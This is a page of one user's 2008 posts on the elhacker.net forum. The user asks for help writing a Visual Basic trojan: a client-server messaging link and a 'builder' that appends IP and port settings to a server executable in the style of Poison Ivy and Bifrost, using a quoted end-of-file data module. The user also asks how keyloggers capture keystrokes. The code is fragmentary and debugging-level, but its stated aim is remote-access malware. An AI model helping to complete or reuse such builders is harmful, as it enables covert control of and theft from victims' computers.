elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: 1 ... 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [22] 23 24 25 26 27 28 29 30 31 32 33
211  Programación / Programación Visual Basic / Problema con mi troyano. en: 7 Octubre 2008, 19:49 pm
Bueno estoy haciendo un troyano y el cliente y el servidor conectan, lo que pasa esque el cliente envia este codigo.
Código
  1. FrmClient.WS.SendData Text1.Text & "|" & Text2.Text & "|" & Combo1.Text
y el servidor lo recibe asi
Código
  1. Private Sub ws_DataArrival(ByVal bytesTotal As Long)
  2. Dim datos As String
  3. Dim data() As String
  4. ws.GetData datos
  5. data = Split(datos, "|")
  6. Select Case data(0)
  7. Case "Mensajes"
  8. If data(3) = "Critical" Then
  9. MsgBox data(0), vbCritical, data(1)
  10. ElseIf data(3) = "Information" Then
  11. MsgBox data(0), vbInformation, data(1)
  12. End If
  13. End Select
  14. End Sub
El servidor deberia lanzar un mensaje con los valores de las arrays pero no se porque no va... ¿Alguien sabe porque no funciona? El cliente y el servidor conectan bn. Porque funciones como enviar... "Hola" a uno y el otro recibirlo lo hacen.
212  Programación / Programación Visual Basic / Re: Problema con el codigo de COBEIN en: 7 Octubre 2008, 18:19 pm
Código
  1. Dim IP As String
  2. Private Sub Form_Load()
  3. MsgBox IP
  4. End Sub
  5.  
213  Programación / Programación Visual Basic / Re: Problema con el codigo de COBEIN en: 7 Octubre 2008, 18:04 pm
OK, Ya me rulo ! No me dio error, pero el programa que cree que hace un MsgBox con la variable IP me saco un mensaje vacio, no deberia habermelo sacado con 1111 ¿? Gracias.
214  Programación / Programación Visual Basic / Re: Problema con el codigo de COBEIN en: 7 Octubre 2008, 17:55 pm
Bueno ya lo hice y no me da error ahi ! Pero si en otro ! Cambié el codigo de llamada mirad y decidme el error:

Código
  1. Private Sub Command1_Click()
  2. 'txtIP = Text1.Text
  3. 'txtPort = Text2.Text
  4. Dim c As New cEditSvr
  5. CD.ShowOpen
  6. c.ExeFile CD.FileName '¿Exe file que es? Es donde esta el programa al cual escribimos?
  7. c.WriteProp "IP", "1111"
  8. c.WriteData "c:\test.exe" '¿Aqui esta ruta que es?
  9. Set c = New cEditSvr
  10. c.ExeFile "c:\text.exe" '¿Aqui esta ruta que es?
  11. Debug.Print c.ReadProp("IP")
  12. End Sub
Bueno lo que no se de ahi son los '
y cuando lo abro y selecciono el programa para que lo escriba me da este error en el modulo
Subscript ouft Range -->
Código
  1. ReDim vbData(LOF(1) - 1)


¿Alguien sabe porque? Gracias
215  Programación / Programación Visual Basic / Problema con el codigo de COBEIN en: 7 Octubre 2008, 17:39 pm
Bueno, cree un programa con una variable llamada IP y al inicio hace
Código:
Msgbox IP

OK, el codigo de COBEIN del cual hablo es el edit generic sever o alreves ahora no se x'D bueno y en otro programa pongo:

Código
  1. Dim txtIP As String
  2. Dim txtPort As String
  3. Dim sRuta As String
  4. '---------------------------------------------------------------------------------------
  5. ' Module      : cEditSvr
  6. ' DateTime    : 19/09/2008 13:23
  7. ' Author      : Cobein
  8. ' Mail        : cobein27@hotmail.com
  9. ' WebPage     : http://www.advancevb.com.ar
  10. ' Purpose     : Read Write data at EOF
  11. ' Usage       : At your own risk
  12. ' Requirements: None
  13. ' Distribution: You can freely use this code in your own
  14. '               applications, but you may not reproduce
  15. '               or publish this code on any web site,
  16. '               online service, or distribute as source
  17. '               on any media without express permission.
  18. '
  19. ' History     : 19/09/2008 First Cut....................................................
  20. '---------------------------------------------------------------------------------------
  21. Option Explicit
  22.  
  23. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
  24.  
  25. Private c_pBag      As New PropertyBag
  26. Private c_sFile     As String
  27. Private c_lEOF      As Long
  28. Public c_bHasData  As Boolean
  29.  
  30. '---------------------------------------------------------------------------------------
  31. ' Procedure : GetEOF
  32. ' Author    : E0N
  33. ' Purpose   : Calculate EOF
  34. '---------------------------------------------------------------------------------------
  35. Private Function GetEOF(sPath As String) As Long
  36.    Dim vbData() As Byte
  37.    Dim PE As Long, NumberOfSections As Integer
  38.    Dim BeginLastSection As Long
  39.    Dim RawSize As Long, RawOffset As Long
  40.  
  41.    Open sPath For Binary As #1
  42.        ReDim vbData(LOF(1) - 1)
  43.        Get #1, , vbData
  44.    Close #1
  45.  
  46.    Call CopyMemory(PE, vbData(&H3C), 4)
  47.    Call CopyMemory(NumberOfSections, vbData(PE + &H6), 2)
  48.    BeginLastSection = PE + &HF8 + ((NumberOfSections - 1) * &H28)
  49.    Call CopyMemory(RawSize, vbData(BeginLastSection + 16), 4)
  50.    Call CopyMemory(RawOffset, vbData(BeginLastSection + 20), 4)
  51.    GetEOF = RawSize + RawOffset
  52. End Function
  53.  
  54. Public Function ExeFile(sPath As String) As Boolean
  55.    c_sFile = sPath
  56.    c_lEOF = GetEOF(c_sFile)
  57.  
  58.    If Not FileLen(c_sFile) = c_lEOF Then
  59.        c_bHasData = True
  60.  
  61.        Dim vbData() As Byte
  62.  
  63.        Open c_sFile For Binary As #1
  64.        ReDim vbData(LOF(1) - c_lEOF - 1)
  65.        Seek #1, c_lEOF + 1
  66.        Get #1, , vbData
  67.        Close #1
  68.        '+++++++++++++++++++++++++++++++++++++++++++++++++++++
  69.        'At this point you can Decrypt the byte array [vbData]
  70.        '+++++++++++++++++++++++++++++++++++++++++++++++++++++
  71.        Set c_pBag = New PropertyBag
  72.        c_pBag.Contents = vbData
  73.    End If
  74.  
  75. End Function
  76.  
  77. Public Sub WriteProp(sName As String, vVal As Variant)
  78.    c_pBag.WriteProperty sName, vVal
  79. End Sub
  80.  
  81. Public Function ReadProp(sName As String) As Variant
  82.    ReadProp = c_pBag.ReadProperty(sName)
  83. End Function
  84.  
  85. Public Function WriteData(sDstFile As String) As Boolean
  86.    Dim vbData() As Byte
  87.  
  88.    Open c_sFile For Binary Access Read As #1
  89.    ReDim vbData(LOF(1) - 1)
  90.    Get #1, , vbData
  91.    Close #1
  92.  
  93.    Open sDstFile For Binary Access Write As #1
  94.    Put #1, , vbData
  95.    vbData = c_pBag.Contents
  96.    '+++++++++++++++++++++++++++++++++++++++++++++++++++++
  97.    'At this point you can Encrypt the byte array [vbData]
  98.    '+++++++++++++++++++++++++++++++++++++++++++++++++++++
  99.    Put #1, , vbData
  100.    Close #1
  101.  
  102. End Function
  103.  
  104. Private Sub Command1_Click()
  105. 'txtIP = Text1.Text
  106. 'txtPort = Text2.Text
  107. 'CD.Filter = "Solo *.exe |*.exe"
  108. 'CD.ShowOpen
  109. Dim c As New cEditSvr
  110. CD.ShowOpen
  111. sRuta = CD.FileName
  112. c.ExeFile = sRuta
  113. c.WriteProp "IP", "1111"
  114. CD.ShowSave
  115. c.WriteData = CD.FileName
  116. Set c = New cEditSvr
  117. CD.Filter = "Solo *.exe |*.exe"
  118. c.ExeFile = CD.FileName
  119. Debug.Print c.ReadProp("IP")
  120. End Sub

y cuando apreto el command me dice que

Código:
Dim c As New cEditSvr
No esta definida.

¿Alguien sabe xk?

Grax :)
216  Programación / Programación Visual Basic / Re: Problema con mi Keylogger en: 6 Octubre 2008, 22:01 pm
y un hook que es?
217  Programación / Programación Visual Basic / Re: Problema con mi Keylogger en: 6 Octubre 2008, 21:20 pm
¿Y los keyloggers como lo hacen? Ya que los keyloggers si que lo pillan todo ala perfección.
218  Programación / Programación Visual Basic / Re: Problema con el servidor de mi Troyano. en: 6 Octubre 2008, 21:18 pm
Pero cuando lo llamas... nose no lo entiendo solo que me expliques lo ultimo lo de llamar, es para saber que variable recoje cada valor. Grax
219  Programación / Programación Visual Basic / Re: Problema con el servidor de mi Troyano. en: 6 Octubre 2008, 20:55 pm
Vi tu codigo, creo que era para eso, pero no lo entiendo :(
220  Programación / Programación Visual Basic / Problema con el servidor de mi Troyano. en: 6 Octubre 2008, 20:33 pm
Bueno, tengo mi cliente y en el builder necesito crear un servidor .exe que conecte a la ip y al puerto de los 2 texts, como lo hago para generar un .exe? Gracias, es tipo como los troyanos Poison IVy y Bifros cuando creas el servidor. Grax
Páginas: 1 ... 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [22] 23 24 25 26 27 28 29 30 31 32 33
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines